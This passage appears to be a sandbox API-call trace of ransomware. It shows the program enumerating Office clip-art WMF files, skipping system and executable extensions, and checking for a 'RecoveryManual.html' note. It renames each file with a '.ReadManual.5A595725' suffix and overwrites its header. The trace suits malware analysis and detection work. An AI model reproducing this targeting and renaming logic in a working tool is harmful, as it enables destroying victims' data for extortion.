[0262.612] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.612] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.612] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.612] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.612] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.612] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.612] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.612] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.612] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.612] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.612] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.612] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.612] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" [0262.612] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.ReadManual.5A595725" [0262.612] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.ReadManual.5A595725") returned 87 [0262.612] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38328114743) returned 1 [0262.612] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x20 [0262.613] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.613] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1768) returned 1 [0262.613] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6e8, lpName=0x0) returned 0x184 [0262.614] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.614] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.614] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.616] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.616] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6e8) returned 0x2f0000 [0262.616] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.616] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38328501781) returned 1 [0262.616] CloseHandle (hObject=0x184) returned 1 [0262.616] SetSecurityInfo () returned 0x57 [0262.616] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.617] CloseHandle (hObject=0x194) returned 1 [0262.617] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81594a00, ftCreationTime.dwHighDateTime=0x1bd4c02, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81594a00, ftLastWriteTime.dwHighDateTime=0x1bd4c02, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1 [0262.617] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01434_.WMF" | out: lpString1="DD01434_.WMF") returned="DD01434_.WMF" [0262.617] lstrcmpiW (lpString1="DD01434_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.617] StrStrIW (lpFirst="DD01434_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.617] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.617] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.617] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.617] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.617] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.617] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.618] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.618] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.618] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.618] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.618] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.618] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.618] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.618] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.618] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" [0262.618] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.ReadManual.5A595725" [0262.618] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.ReadManual.5A595725") returned 87 [0262.618] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38328664179) returned 1 [0262.618] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x20 [0262.619] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.619] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=900) returned 1 [0262.619] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x384, lpName=0x0) returned 0x184 [0262.619] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.620] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.620] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.622] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.622] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x384) returned 0x2f0000 [0262.622] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.622] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38329096868) returned 1 [0262.622] CloseHandle (hObject=0x184) returned 1 [0262.622] SetSecurityInfo () returned 0x57 [0262.622] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.622] CloseHandle (hObject=0x194) returned 1 [0262.623] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55829800, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55829800, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1 [0262.623] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01585_.WMF" | out: lpString1="DD01585_.WMF") returned="DD01585_.WMF" [0262.623] lstrcmpiW (lpString1="DD01585_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.623] StrStrIW (lpFirst="DD01585_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.623] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.623] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.623] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.623] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.624] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.624] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.624] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.624] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.624] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.624] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.624] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.624] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.624] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.624] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.624] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" [0262.624] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.ReadManual.5A595725" [0262.624] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.ReadManual.5A595725") returned 87 [0262.624] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38329270370) returned 1 [0262.624] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x20 [0262.625] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.625] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2524) returned 1 [0262.625] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9dc, lpName=0x0) returned 0x184 [0262.625] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.626] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.626] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.627] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.627] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9dc) returned 0x2f0000 [0262.627] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.627] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38329623052) returned 1 [0262.628] CloseHandle (hObject=0x184) returned 1 [0262.628] SetSecurityInfo () returned 0x57 [0262.628] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.628] CloseHandle (hObject=0x194) returned 1 [0262.628] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf93000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf93000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1 [0262.628] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01586_.WMF" | out: lpString1="DD01586_.WMF") returned="DD01586_.WMF" [0262.629] lstrcmpiW (lpString1="DD01586_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.629] StrStrIW (lpFirst="DD01586_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.629] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.629] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.629] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.629] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.629] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.629] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.629] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.629] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.629] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.629] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.629] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.629] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.629] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.629] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.629] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" [0262.629] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.ReadManual.5A595725" [0262.629] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.ReadManual.5A595725") returned 87 [0262.629] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38329795748) returned 1 [0262.629] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x20 [0262.630] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.630] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2324) returned 1 [0262.630] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x914, lpName=0x0) returned 0x184 [0262.630] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.630] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.630] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.632] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.632] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x914) returned 0x2f0000 [0262.632] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.632] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38330120059) returned 1 [0262.632] CloseHandle (hObject=0x184) returned 1 [0262.633] SetSecurityInfo () returned 0x57 [0262.633] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.633] CloseHandle (hObject=0x194) returned 1 [0262.633] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28f0200, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf28f0200, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1 [0262.633] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01628_.WMF" | out: lpString1="DD01628_.WMF") returned="DD01628_.WMF" [0262.633] lstrcmpiW (lpString1="DD01628_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.633] StrStrIW (lpFirst="DD01628_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.633] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.633] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.633] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.634] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.634] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.634] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.634] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.634] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.634] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.634] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.634] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.634] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.634] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.634] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.634] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" [0262.634] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.ReadManual.5A595725" [0262.634] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.ReadManual.5A595725") returned 87 [0262.634] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38330272774) returned 1 [0262.634] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x20 [0262.634] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.634] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19068) returned 1 [0262.634] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a7c, lpName=0x0) returned 0x184 [0262.634] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.635] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.635] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.637] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.637] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a7c) returned 0x2f0000 [0262.637] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.638] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38330628696) returned 1 [0262.638] CloseHandle (hObject=0x184) returned 1 [0262.638] SetSecurityInfo () returned 0x57 [0262.638] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.638] CloseHandle (hObject=0x194) returned 1 [0262.639] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa241400, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa241400, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1 [0262.639] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01629_.WMF" | out: lpString1="DD01629_.WMF") returned="DD01629_.WMF" [0262.639] lstrcmpiW (lpString1="DD01629_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.639] StrStrIW (lpFirst="DD01629_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.639] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.639] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.639] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.639] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.639] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.639] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.639] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.639] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.639] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.639] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.639] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.639] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.639] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.639] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.639] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" [0262.639] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.ReadManual.5A595725" [0262.639] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft 